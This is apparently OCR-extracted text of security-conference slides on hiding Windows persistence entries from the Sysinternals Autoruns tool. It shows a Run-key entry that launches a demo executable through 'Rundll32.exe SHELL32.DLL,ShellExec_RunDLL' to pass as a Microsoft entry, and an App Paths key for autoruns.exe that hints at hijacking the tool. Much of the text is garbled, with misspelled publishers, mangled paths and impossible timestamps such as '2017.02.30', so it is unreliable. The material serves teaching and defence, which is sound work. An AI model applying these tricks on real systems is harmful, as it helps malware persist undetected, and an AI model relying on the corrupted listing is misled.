Microsoft Corporation

Yiware, Inc.

Microsoft Corporation

Microsaoft Corparation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Microsoft Corporation

Microsoft Corporation
Microsoft Corporation

Microsoft Corporation
Microsoft Comporation

Image Path

o windows system 32'omd exe

c:program files wmware wmware tools'wmtoolsd exe

cwindowssystem 32emd exe

o windowssystem 32'omd exe

o program files windows mailwinmail exe
o windows system 32vundl 32 exe

o windows system 32 regsvriZ exe

o windows system 32 regsvriZ exe

o windows syswowbd \omd exe

cprogram files (cB6) windows mailwinmail exe
cwindows gyswow b4 \undll 32 exe
cwindows gyswowb4d \regsvrldZ exe
cwindows gyswowb4d \regsvrldZ exe

c:program files“windows sidebarsbdrop dll

cwindows system 32'undll 32 exe
cwindows system 32'undll 32 exe
o windowssystem 32'gathemetworkinfo vbs
o windows aystem 32'undll 32 exe
o windowshsystem 32vundl 32 exe

Timestamp

2009.07.14. 5:45
2010.11.20. 10:4€
2018.02.09. 19:23
2017.11.30. 1118
2018.02.18. 15:00
2010.11.20. 10:46
2012.02.09. 19:4(
2010.11.20. 10:4¢
2009.07.14. 0:58
2017.03.30. 16:02
2003.07.14.1:14
2003.07.14.1:14
2018.02.09. 19:4(
2010.11.20. 10:0C
2005.07.14. 042
2017.03.30. 15:5¢
2003.07.14. 0:58
2003.07.14. 0:58
2009.07.14. 5:53
2005.07.14. 2:32

2017.02.30. 16:02
2017.02.30. 16:02
2009.06.10. 21:3€
2017.02.30. 16:02
2017.02.30. 16:0:

-~
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Let’s hack the autoruns — easy to hide?

A bit more complex one: ShellExec_RunDl|

| %] KnownDLLs I n Winlogaon I & Winsock Providers | ‘24 Print Monitors | @ LSA Providers | L' Network Providers I ﬁ WMI | B Sidebar Gadgets | l] Office
3} Everything % Logaon | rﬂ Explarer I ﬂ Internet Explorer @ Scheduled Tasks | % Services | Dirivers | |E| Codecs | E Boot Execute | E Image Hijacks | @I AppInit
Autorun Entry Description Publisher Image Path Timestamp Virus Total

HELMSOFTWARE \Microsoft \ Windows\Cumrent Version . Run

v peel  Widwsoedohomet (undid2) Moot Copoin  cwndowesenwndRee  2T00I6G

Rundll32.exe SHELL32.DLL,ShellExec_RunDLL
\"C:\\demo\Bsides.exe"



Let’s hack the autoruns — easy to hide?

And just one another for bonus: trick or treat?

Fajl ~Szerkesztés MNézet Kedvencek 5Sidgé
4- ). Windows || New Tipus Erték

4. CurrentVersion W REG_SZ chbeforearmn
s~ L App Management
a App Paths

----- . cmmgr3d.exe
..... . dvdmaker.exe
----- . fsquirt.exe

----- . IEDIAG.EXE |
..... . IEDIAGCMD.EXE
» . | IEXPLORE.EXE
..... . install.exe

..... | MigWIZ.exe

----- , mip.exe
..... . mplayer.exe

..... . pbrush.exe B
..... . PowerShell.exe

m

..... . setup.exe

..... . sidebar.exe

..... . SnippingTeol.exe
..... . table30.exe

..... . TabTip.exe

..... . wab.exe

..... . wabmig.exe

..... . wmplayer.exe

..... . WORDPAD.EXE

..... . WRITE.EXE

..... . autoruns.exe

s - J Applets

L]l Audio 2
< 1 | ¢

Szamitogép\HKEY_LOCAL_MACHINEVSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\autoruns.exe
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Thank you for your kind attention!
Any questions?

Resources:
https://attack.mitre.org/wiki/Persistence
https://docs.microsoft.com/en-us/sysinternals/
https://mobile.twitter.com/hasherezade
http://www.hexacorn.com/blog/
Bitdefender labs / PZCHAO
Kaspersky labs / GhOstRAT
Lookout / Dark Caracal
https://www.cylance.com/en_us/blog/
https://blogs.technet.microsoft.com/pfesweplat/



